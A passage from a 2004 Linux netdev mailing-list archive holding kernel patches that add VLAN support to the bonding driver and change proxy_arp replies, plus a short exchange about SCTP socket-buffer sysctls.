id being added + */ +static void bond_vlan_rx_add_vid(struct net_device *bond_dev, uint16_t vid) +{ + struct bonding *bond = bond_dev->priv; + struct slave *slave; + int i, res; + + bond_for_each_slave(bond, slave, i) { + struct net_device *slave_dev = slave->dev; + + if ((slave_dev->features & NETIF_F_HW_VLAN_FILTER) && + slave_dev->vlan_rx_add_vid) { + slave_dev->vlan_rx_add_vid(slave_dev, vid); + } + } + + res = bond_add_vlan(bond, vid); + if (res) { + printk(KERN_ERR DRV_NAME + ": %s: Failed to add vlan id %d\n", + bond_dev->name, vid); + } +} + +/** + * bond_vlan_rx_kill_vid - Propagates deleting an id to slaves + * @bond_dev: bonding net device that got called + * @vid: vlan id being removed + */ +static void bond_vlan_rx_kill_vid(struct net_device *bond_dev, uint16_t vid) +{ + struct bonding *bond = bond_dev->priv; + struct slave *slave; + struct net_device *vlan_dev; + int i, res; + + bond_for_each_slave(bond, slave, i) { + struct net_device *slave_dev = slave->dev; + + if ((slave_dev->features & NETIF_F_HW_VLAN_FILTER) && + slave_dev->vlan_rx_kill_vid) { + /* Save and then restore vlan_dev in the grp array, + * since the slave's driver might clear it. + */ + vlan_dev = bond->vlgrp->vlan_devices[vid]; + slave_dev->vlan_rx_kill_vid(slave_dev, vid); + bond->vlgrp->vlan_devices[vid] = vlan_dev; + } + } + + res = bond_del_vlan(bond, vid); + if (res) { + printk(KERN_ERR DRV_NAME + ": %s: Failed to remove vlan id %d\n", + bond_dev->name, vid); + } +} + +static void bond_add_vlans_on_slave(struct bonding *bond, struct net_device *slave_dev) +{ + struct vlan_entry *vlan; + + write_lock_bh(&bond->lock); + + if (list_empty(&bond->vlan_list)) { + goto out; + } + + if ((slave_dev->features & NETIF_F_HW_VLAN_RX) && + slave_dev->vlan_rx_register) { + slave_dev->vlan_rx_register(slave_dev, bond->vlgrp); + } + + if (!(slave_dev->features & NETIF_F_HW_VLAN_FILTER) || + !(slave_dev->vlan_rx_add_vid)) { + goto out; + } + + list_for_each_entry(vlan, &bond->vlan_list, vlan_list) { + slave_dev->vlan_rx_add_vid(slave_dev, vlan->vlan_id); + } + +out: + write_unlock_bh(&bond->lock); +} + +static void bond_del_vlans_from_slave(struct bonding *bond, struct net_device *slave_dev) +{ + struct vlan_entry *vlan; + struct net_device *vlan_dev; + + write_lock_bh(&bond->lock); + + if (list_empty(&bond->vlan_list)) { + goto out; + } + + if (!(slave_dev->features & NETIF_F_HW_VLAN_FILTER) || + !(slave_dev->vlan_rx_kill_vid)) { + goto unreg; + } + + list_for_each_entry(vlan, &bond->vlan_list, vlan_list) { + /* Save and then restore vlan_dev in the grp array, + * since the slave's driver might clear it. + */ + vlan_dev = bond->vlgrp->vlan_devices[vlan->vlan_id]; + slave_dev->vlan_rx_kill_vid(slave_dev, vlan->vlan_id); + bond->vlgrp->vlan_devices[vlan->vlan_id] = vlan_dev; + } + +unreg: + if ((slave_dev->features & NETIF_F_HW_VLAN_RX) && + slave_dev->vlan_rx_register) { + slave_dev->vlan_rx_register(slave_dev, NULL); + } + +out: + write_unlock_bh(&bond->lock); +} + /*------------------------------- Link status -------------------------------*/ /* @@ -1214,6 +1539,7 @@ static int bond_enslave(struct net_devic struct dev_mc_list *dmi; struct sockaddr addr; int link_reporting; + int old_features = bond_dev->features; int res = 0; if (slave_dev->do_ioctl == NULL) { @@ -1234,6 +1560,36 @@ static int bond_enslave(struct net_devic return -EBUSY; } + /* vlan challenged mutual exclusion */ + /* no need to lock since we're protected by rtnl_lock */ + if (slave_dev->features & NETIF_F_VLAN_CHALLENGED) { + dprintk("%s: NETIF_F_VLAN_CHALLENGED\n", slave_dev->name); + if (!list_empty(&bond->vlan_list)) { + printk(KERN_ERR DRV_NAME + ": Error: cannot enslave VLAN " + "challenged slave %s on VLAN enabled " + "bond %s\n", slave_dev->name, + bond_dev->name); + return -EPERM; + } else { + printk(KERN_WARNING DRV_NAME + ": Warning: enslaved VLAN challenged " + "slave %s. Adding VLANs will be blocked as " + "long as %s is part of bond %s\n", + slave_dev->name, slave_dev->name, + bond_dev->name); + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + } + } else { + dprintk("%s: ! NETIF_F_VLAN_CHALLENGED\n", slave_dev->name); + if (bond->slave_cnt == 0) { + /* First slave, and it is not VLAN challenged, + * so remove the block of adding VLANs over the bond. + */ + bond_dev->features &= ~NETIF_F_VLAN_CHALLENGED; + } + } + if (app_abi_ver >= 1) { /* The application is using an ABI, which requires the * slave interface to be closed. @@ -1242,7 +1598,8 @@ static int bond_enslave(struct net_devic printk(KERN_ERR DRV_NAME ": Error: %s is up\n", slave_dev->name); - return -EPERM; + res = -EPERM; + goto err_undo_flags; } if (slave_dev->set_mac_address == NULL) { @@ -1253,7 +1610,8 @@ static int bond_enslave(struct net_devic "Your kernel likely does not support slave " "devices.\n"); - return -EOPNOTSUPP; + res = -EOPNOTSUPP; + goto err_undo_flags; } } else { /* The application is not using an ABI, which requires the @@ -1263,7 +1621,8 @@ static int bond_enslave(struct net_devic printk(KERN_ERR DRV_NAME ": Error: %s is not running\n", slave_dev->name); - return -EINVAL; + res = -EINVAL; + goto err_undo_flags; } if ((bond->params.mode == BOND_MODE_8023AD) || @@ -1273,13 +1632,15 @@ static int bond_enslave(struct net_devic ": Error: to use %s mode, you must upgrade " "ifenslave.\n", bond_mode_name(bond->params.mode)); - return -EOPNOTSUPP; + res = -EOPNOTSUPP; + goto err_undo_flags; } } new_slave = kmalloc(sizeof(struct slave), GFP_KERNEL); if (!new_slave) { - return -ENOMEM; + res = -ENOMEM; + goto err_undo_flags; } memset(new_slave, 0, sizeof(struct slave)); @@ -1368,6 +1729,8 @@ static int bond_enslave(struct net_devic dev_mc_add(slave_dev, lacpdu_multicast, ETH_ALEN, 0); } + bond_add_vlans_on_slave(bond, slave_dev); + write_lock_bh(&bond->lock); bond_attach_slave(bond, new_slave); @@ -1576,6 +1939,10 @@ err_restore_mac: err_free: kfree(new_slave); + +err_undo_flags: + bond_dev->features = old_features; + return res; } @@ -1689,8 +2056,37 @@ static int bond_release(struct net_devic } } + if (bond->slave_cnt == 0) { + /* if the last slave was removed, zero the mac address + * of the master so it will be set by the application + * to the mac address of the first slave + */ + memset(bond_dev->dev_addr, 0, bond_dev->addr_len); + + if (list_empty(&bond->vlan_list)) { + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + } else { + printk(KERN_WARNING DRV_NAME + ": Warning: clearing HW address of %s while it " + "still has VLANs.\n", + bond_dev->name); + printk(KERN_WARNING DRV_NAME + ": When re-adding slaves, make sure the bond's " + "HW address matches its VLANs'.\n"); + } + } else if ((bond_dev->features & NETIF_F_VLAN_CHALLENGED) && + !bond_has_challenged_slaves(bond)) { + printk(KERN_INFO DRV_NAME + ": last VLAN challenged slave %s " + "left bond %s. VLAN blocking is removed\n", + slave_dev->name, bond_dev->name); + bond_dev->features &= ~NETIF_F_VLAN_CHALLENGED; + } + write_unlock_bh(&bond->lock); + bond_del_vlans_from_slave(bond, slave_dev); + /* If the mode USES_PRIMARY, then we should only remove its * promisc and mc settings if it was the curr_active_slave, but that was * already taken care of above when we detached the slave @@ -1732,14 +2128,6 @@ static int bond_release(struct net_devic kfree(slave); - /* if the last slave was removed, zero the mac address - * of the master so it will be set by the application - * to the mac address of the first slave - */ - if (bond->slave_cnt == 0) { - memset(bond_dev->dev_addr, 0, bond_dev->addr_len); - } - return 0; /* deletion OK */ } @@ -1788,6 +2176,8 @@ static int bond_release_all(struct net_d */ write_unlock_bh(&bond->lock); + bond_del_vlans_from_slave(bond, slave_dev); + /* If the mode USES_PRIMARY, then we should only remove its * promisc and mc settings if it was the curr_active_slave, but that was * already taken care of above when we detached the slave @@ -1838,6 +2228,18 @@ static int bond_release_all(struct net_d */ memset(bond_dev->dev_addr, 0, bond_dev->addr_len); + if (list_empty(&bond->vlan_list)) { + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + } else { + printk(KERN_WARNING DRV_NAME + ": Warning: clearing HW address of %s while it " + "still has VLANs.\n", + bond_dev->name); + printk(KERN_WARNING DRV_NAME + ": When re-adding slaves, make sure the bond's " + "HW address matches its VLANs'.\n"); + } + printk(KERN_INFO DRV_NAME ": %s: released all slaves\n", bond_dev->name); @@ -3569,11 +3971,12 @@ static int bond_xmit_roundrobin(struct s struct bonding *bond = bond_dev->priv; struct slave *slave, *start_at; int i; + int res = 1; read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } read_lock(&bond->curr_slave_lock); @@ -3581,33 +3984,31 @@ static int bond_xmit_roundrobin(struct s read_unlock(&bond->curr_slave_lock); if (!slave) { - goto free_out; + goto out; } bond_for_each_slave_from(bond, slave, i, start_at) { if (IS_UP(slave->dev) && (slave->link == BOND_LINK_UP) && (slave->state == BOND_STATE_ACTIVE)) { - skb->dev = slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); + res = bond_dev_queue_xmit(bond, skb, slave->dev); write_lock(&bond->curr_slave_lock); bond->curr_active_slave = slave->next; write_unlock(&bond->curr_slave_lock); - goto out; + break; } } + out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } /* @@ -3617,6 +4018,7 @@ free_out: static int bond_xmit_activebackup(struct sk_buff *skb, struct net_device *bond_dev) { struct bonding *bond = bond_dev->priv; + int res = 1; /* if we are sending arp packets, try to at least identify our own ip address */ @@ -3633,26 +4035,21 @@ static int bond_xmit_activebackup(struct read_lock(&bond->curr_slave_lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } if (bond->curr_active_slave) { /* one usable interface */ - skb->dev = bond->curr_active_slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); - goto out; - } else { - goto free_out; + res = bond_dev_queue_xmit(bond, skb, bond->curr_active_slave->dev); } + out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->curr_slave_lock); read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } /* @@ -3667,11 +4064,12 @@ static int bond_xmit_xor(struct sk_buff struct slave *slave, *start_at; int slave_no; int i; + int res = 1; read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } slave_no = (data->h_dest[5]^bond_dev->dev_addr[5]) % bond->slave_cnt; @@ -3689,22 +4087,18 @@ static int bond_xmit_xor(struct sk_buff if (IS_UP(slave->dev) && (slave->link == BOND_LINK_UP) && (slave->state == BOND_STATE_ACTIVE)) { - skb->dev = slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); - - goto out; + res = bond_dev_queue_xmit(bond, skb, slave->dev); + break; } } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } /* @@ -3716,11 +4110,12 @@ static int bond_xmit_broadcast(struct sk struct slave *slave, *start_at; struct net_device *tx_dev = NULL; int i; + int res = 1; read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } read_lock(&bond->curr_slave_lock); @@ -3728,7 +4123,7 @@ static int bond_xmit_broadcast(struct sk read_unlock(&bond->curr_slave_lock); if (!start_at) { - goto free_out; + goto out; } bond_for_each_slave_from(bond, slave, i, start_at) { @@ -3744,31 +4139,28 @@ static int bond_xmit_broadcast(struct sk continue; } - skb2->dev = tx_dev; - skb2->priority = 1; - dev_queue_xmit(skb2); + res = bond_dev_queue_xmit(bond, skb2, tx_dev); + if (res) { + dev_kfree_skb(skb2); + continue; + } } tx_dev = slave->dev; } } if (tx_dev) { - skb->dev = tx_dev; - skb->priority = 1; - dev_queue_xmit(skb); - } else { - goto free_out; + res = bond_dev_queue_xmit(bond, skb, tx_dev); } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } /* frame sent to all suitable interfaces */ read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } #ifdef CONFIG_NET_FASTROUTE @@ -3837,6 +4229,7 @@ static int __init bond_init(struct net_d bond->current_arp_slave = NULL; bond->primary_slave = NULL; bond->dev = bond_dev; + INIT_LIST_HEAD(&bond->vlan_list); /* Initialize the device entry points */ bond_dev->open = bond_open; @@ -3858,6 +4251,25 @@ static int __init bond_init(struct net_d bond_dev->tx_queue_len = 0; bond_dev->flags |= IFF_MASTER|IFF_MULTICAST; + /* At first, we block adding VLANs. That's the only way to + * prevent problems that occur when adding VLANs over an + * empty bond. The block will be removed once non-challenged + * slaves are enslaved. + */ + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + + /* By default, we declare the bond to be fully + * VLAN hardware accelerated capable. Special + * care is taken in the various xmit functions + * when there are slaves that are not hw accel + * capable + */ + bond_dev->vlan_rx_register = bond_vlan_rx_register; + bond_dev->vlan_rx_add_vid = bond_vlan_rx_add_vid; + bond_dev->vlan_rx_kill_vid = bond_vlan_rx_kill_vid; + bond_dev->features |= (NETIF_F_HW_VLAN_TX | + NETIF_F_HW_VLAN_RX | + NETIF_F_HW_VLAN_FILTER); #ifdef CONFIG_PROC_FS bond_create_proc_entry(bond); diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Wed Jan 21 16:56:18 2004 +++ b/drivers/net/bonding/bonding.h Wed Jan 21 16:56:19 2004 @@ -147,6 +147,11 @@ struct bond_params { u32 arp_targets[BOND_MAX_ARP_TARGETS]; }; +struct vlan_entry { + struct list_head vlan_list; + unsigned short vlan_id; +}; + struct slave { struct net_device *dev; /* first - usefull for panic debug */ struct slave *next; @@ -196,6 +201,8 @@ struct bonding { struct ad_bond_info ad_info; struct alb_bond_info alb_info; struct bond_params params; + struct list_head vlan_list; + struct vlan_group *vlgrp; }; /** @@ -238,5 +245,7 @@ extern inline void bond_set_slave_active slave->dev->flags &= ~IFF_NOARP; } +int bond_dev_queue_xmit(struct bonding *bond, struct sk_buff *skb, struct net_device *slave_dev); + #endif /* _LINUX_BONDING_H */ From shmulik.hen@intel.com Sun Feb 8 08:11:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 08:11:38 -0800 (PST) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18GBTKO008870 for ; Sun, 8 Feb 2004 08:11:29 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by caduceus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i18GD6Eu016634; Sun, 8 Feb 2004 16:13:06 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i18GBEZ8009652; Sun, 8 Feb 2004 16:11:14 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004020808112224083 ; Sun, 08 Feb 2004 08:11:23 -0800 From: Shmuel Hen Organization: Intel Corporation To: "Jeff Garzik" Subject: [PATCH 2/3][bonding][2.6] Add VLAN support in TLB mode Date: Sun, 8 Feb 2004 18:11:19 +0200 User-Agent: KMail/1.5.3 Cc: "linux-netdev" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402081811.21053.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3108 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 5503 Lines: 179 Add capability to tag self generated learning packets that are required to speed up port selection in the switch after a fail over in bonding since some switches will only update their MAC tables from tagged packets when VLAN support is turned on. All VLAN Id's that have been configured on top of the bond interface will be used in cyclic order. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Wed Jan 21 16:56:22 2004 +++ b/drivers/net/bonding/bond_alb.c Wed Jan 21 16:56:24 2004 @@ -50,6 +50,7 @@ #include #include #include +#include #include #include #include @@ -79,7 +80,7 @@ #define TLB_NULL_INDEX 0xffffffff -#define MAX_LP_RETRY 3 +#define MAX_LP_BURST 3 /* rlb defs */ #define RLB_HASH_TABLE_SIZE 256 @@ -816,6 +817,7 @@ static void rlb_deinitialize(struct bond static void alb_send_learning_packets(struct slave *slave, u8 mac_addr[]) { + struct bonding *bond = bond_get_bond_by_slave(slave); struct learning_pkt pkt; int size = sizeof(struct learning_pkt); int i; @@ -825,7 +827,7 @@ static void alb_send_learning_packets(st memcpy(pkt.mac_src, mac_addr, ETH_ALEN); pkt.type = __constant_htons(ETH_P_LOOP); - for (i = 0; i < MAX_LP_RETRY; i++) { + for (i = 0; i < MAX_LP_BURST; i++) { struct sk_buff *skb; char *data; @@ -843,6 +845,26 @@ static void alb_send_learning_packets(st skb->priority = TC_PRIO_CONTROL; skb->dev = slave->dev; + if (!list_empty(&bond->vlan_list)) { + struct vlan_entry *vlan; + + vlan = bond_next_vlan(bond, + bond->alb_info.current_alb_vlan); + + bond->alb_info.current_alb_vlan = vlan; + if (!vlan) { + kfree_skb(skb); + continue; + } + + skb = vlan_put_tag(skb, vlan->vlan_id); + if (!skb) { + printk(KERN_ERR DRV_NAME + ": Error: failed to insert VLAN tag\n"); + continue; + } + } + dev_queue_xmit(skb); } } @@ -1588,3 +1610,11 @@ int bond_alb_set_mac_address(struct net_ return 0; } +void bond_alb_clear_vlan(struct bonding *bond, unsigned short vlan_id) +{ + if (bond->alb_info.current_alb_vlan && + (bond->alb_info.current_alb_vlan->vlan_id == vlan_id)) { + bond->alb_info.current_alb_vlan = NULL; + } +} + diff -Nuarp a/drivers/net/bonding/bond_alb.h b/drivers/net/bonding/bond_alb.h --- a/drivers/net/bonding/bond_alb.h Wed Jan 21 16:56:22 2004 +++ b/drivers/net/bonding/bond_alb.h Wed Jan 21 16:56:24 2004 @@ -122,6 +122,7 @@ struct alb_bond_info { * rx traffic should be * rebalanced */ + struct vlan_entry *current_alb_vlan; }; int bond_alb_initialize(struct bonding *bond, int rlb_enabled); @@ -133,6 +134,6 @@ void bond_alb_handle_active_change(struc int bond_alb_xmit(struct sk_buff *skb, struct net_device *bond_dev); void bond_alb_monitor(struct bonding *bond); int bond_alb_set_mac_address(struct net_device *bond_dev, void *addr); - +void bond_alb_clear_vlan(struct bonding *bond, unsigned short vlan_id); #endif /* __BOND_ALB_H__ */ diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Wed Jan 21 16:56:22 2004 +++ b/drivers/net/bonding/bond_main.c Wed Jan 21 16:56:24 2004 @@ -676,6 +676,11 @@ static int bond_del_vlan(struct bonding if (vlan->vlan_id == vlan_id) { list_del(&vlan->vlan_list); + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { + bond_alb_clear_vlan(bond, vlan_id); + } + dprintk("removed VLAN ID %d from bond %s\n", vlan_id, bond->dev->name); @@ -731,6 +736,42 @@ static int bond_has_challenged_slaves(st } /** + * bond_next_vlan - safely skip to the next item in the vlans list. + * @bond: the bond we're working on + * @curr: item we're advancing from + * + * Returns %NULL if list is empty, bond->next_vlan if @curr is %NULL, + * or @curr->next otherwise (even if it is @curr itself again). + * + * Caller must hold bond->lock + */ +struct vlan_entry *bond_next_vlan(struct bonding *bond, struct vlan_entry *curr) +{ + struct vlan_entry *next, *last; + + if (list_empty(&bond->vlan_list)) { + return NULL; + } + + if (!curr) { + next = list_entry(bond->vlan_list.next, + struct vlan_entry, vlan_list); + } else { + last = list_entry(bond->vlan_list.prev, + struct vlan_entry, vlan_list); + if (last == curr) { + next = list_entry(bond->vlan_list.next, + struct vlan_entry, vlan_list); + } else { + next = list_entry(curr->vlan_list.next, + struct vlan_entry, vlan_list); + } + } + + return next; +} + +/** * bond_dev_queue_xmit - Prepare skb for xmit. * * @bond: bond device that got this skb for tx. diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Wed Jan 21 16:56:22 2004 +++ b/drivers/net/bonding/bonding.h Wed Jan 21 16:56:24 2004 @@ -245,6 +245,7 @@ extern inline void bond_set_slave_active slave->dev->flags &= ~IFF_NOARP; } +struct vlan_entry *bond_next_vlan(struct bonding *bond, struct vlan_entry *curr); int bond_dev_queue_xmit(struct bonding *bond, struct sk_buff *skb, struct net_device *slave_dev); #endif /* _LINUX_BONDING_H */ From sri@us.ibm.com Sun Feb 8 09:08:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 09:08:08 -0800 (PST) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18H7tKO013835 for ; Sun, 8 Feb 2004 09:08:02 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i18H7ntB613146; Sun, 8 Feb 2004 12:07:49 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i18H7mt1133928; Sun, 8 Feb 2004 12:07:49 -0500 Date: Sun, 8 Feb 2004 09:07:48 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: "David S. Miller" cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.6.2 SCTP updates In-Reply-To: <20040206194518.56787717.davem@redhat.com> Message-ID: References: <20040206194518.56787717.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3110 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 929 Lines: 29 On Fri, 6 Feb 2004, David S. Miller wrote: > On Fri, 6 Feb 2004 17:24:32 -0800 (PST) > Sridhar Samudrala wrote: > > > Please do a > > bk pull http://linux-lksctp.bkbits.net/lksctp-2.5.work > > to get the following udpates to SCTP on top of linux 2.6.2 > > Pulled, but. > > > - Updated the default max socket receive buffer to 64K from 32K and also > > added sysctl variables to change sctp socket send/receive buffers. > > Why do you use specialized SCTP rmem/wmem values and not the globally > sysctl's ones we have for sockets already? Dave, I guess i was influenced by the TCP specific tcp_rmem/tcp_wmem. But TCP seems to be using them as a vector of 3 values and tuning the buffer sizes dynamically based on these values. As of now, SCTP doesn't do any tuning dynamically so i could have used the core rmem_default/wmem_default. Do you want me to remove the specialized SCTP sysctl's? Thanks Sridhar From davem@redhat.com Sun Feb 8 10:39:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 10:39:50 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18IdcKO016200 for ; Sun, 8 Feb 2004 10:39:38 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i18Idbb02319; Sun, 8 Feb 2004 13:39:37 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i18Idaa21707; Sun, 8 Feb 2004 13:39:36 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i18IcokC002134; Sun, 8 Feb 2004 13:39:04 -0500 Date: Sun, 8 Feb 2004 10:39:21 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.6.2 SCTP updates Message-Id: <20040208103921.68614451.davem@redhat.com> In-Reply-To: References: <20040206194518.56787717.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3111 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 530 Lines: 13 On Sun, 8 Feb 2004 09:07:48 -0800 (PST) Sridhar Samudrala wrote: > I guess i was influenced by the TCP specific tcp_rmem/tcp_wmem. But TCP > seems to be using them as a vector of 3 values and tuning the buffer sizes > dynamically based on these values. > As of now, SCTP doesn't do any tuning dynamically so i could have used the > core rmem_default/wmem_default. > > Do you want me to remove the specialized SCTP sysctl's? It seems as duplication if there is no specific need to have seperate controls right? From ja@ssi.bg Sun Feb 8 12:41:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 12:41:38 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18KfSKO026566 for ; Sun, 8 Feb 2004 12:41:30 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i18Ki5xC025767; Sun, 8 Feb 2004 22:44:05 +0200 Date: Sun, 8 Feb 2004 22:44:05 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: netdev@oss.sgi.com cc: Alexey Kuznetsov Subject: Change proxy_arp to respond only for valid neighbours Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3113 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 2790 Lines: 98 Hello, Appended is a patch that modifies proxy_arp to check the target's neighbour state before reporting any information to requestors. The benefit is that the availability of the target host is properly reported to the requestor, we prefer not to send replies when target is unreachable. The changes: - now pneigh_lookup has more priority compared to arp_fwd_proxy - neigh_event_ns is called only once per request, not twice - the 'skb->pkt_type == PACKET_HOST' check has no semantic anymore, the requestor should have same information no matter the packet type. In all cases we add response delay for all requests, broadcast or unicast, to help other authoritative hosts to reply before us. - the RTCF_DNAT case is not delayed anymore (may be it is not used anymore, IIRC) Remaining questions: - do we need to delay the pneigh_lookup case? Now it is still delayed as before. Comments? Regards -- Julian Anastasov diff -ur v2.6.2/linux/net/ipv4/arp.c linux/net/ipv4/arp.c --- v2.6.2/linux/net/ipv4/arp.c 2004-02-05 00:23:18.000000000 +0200 +++ linux/net/ipv4/arp.c 2004-02-08 21:06:49.843123528 +0200 @@ -758,24 +758,36 @@ } goto out; } else if (IN_DEV_FORWARD(in_dev)) { + int fwd_proxy = 0, delay = 0; + if ((rt->rt_flags&RTCF_DNAT) || (addr_type == RTN_UNICAST && rt->u.dst.dev != dev && - (arp_fwd_proxy(in_dev, rt) || pneigh_lookup(&arp_tbl, &tip, dev, 0)))) { - n = neigh_event_ns(&arp_tbl, sha, &sip, dev); - if (n) - neigh_release(n); - - if (skb->stamp.tv_sec == 0 || - skb->pkt_type == PACKET_HOST || - in_dev->arp_parms->proxy_delay == 0) { - arp_send(ARPOP_REPLY,ETH_P_ARP,sip,dev,tip,sha,dev->dev_addr,sha); - } else { - pneigh_enqueue(&arp_tbl, in_dev->arp_parms, skb); - in_dev_put(in_dev); - return 0; - } + ((delay = in_dev->arp_parms->proxy_delay, + pneigh_lookup(&arp_tbl, &tip, dev, 0)) || + (fwd_proxy = arp_fwd_proxy(in_dev, rt))))) { + + if (skb->stamp.tv_sec) { + n = neigh_event_ns(&arp_tbl, sha, &sip, dev); + if (n) + neigh_release(n); + if ((fwd_proxy && + (n = rt->u.dst.neighbour) && + /* We need the actual state ASAP */ + neigh_event_send(n, NULL)) || delay) { + if (delay) { + pneigh_enqueue(&arp_tbl, in_dev->arp_parms, skb); + skb = NULL; + } + goto out; + } + } else if (fwd_proxy && (n = rt->u.dst.neighbour) && + !neigh_is_valid(n)) + goto out; + + arp_send(ARPOP_REPLY,ETH_P_ARP,sip,dev,tip,sha,dev->dev_addr,sha); + goto out; + } else if (!skb->stamp.tv_sec) goto out; - } } } @@ -819,7 +831,8 @@ out: if (in_dev) in_dev_put(in_dev); - kfree_skb(skb); + if (skb) + kfree_skb(skb); return 0; } From davem@redhat.com Sun Feb 8 12:43:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 12:43:36 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id 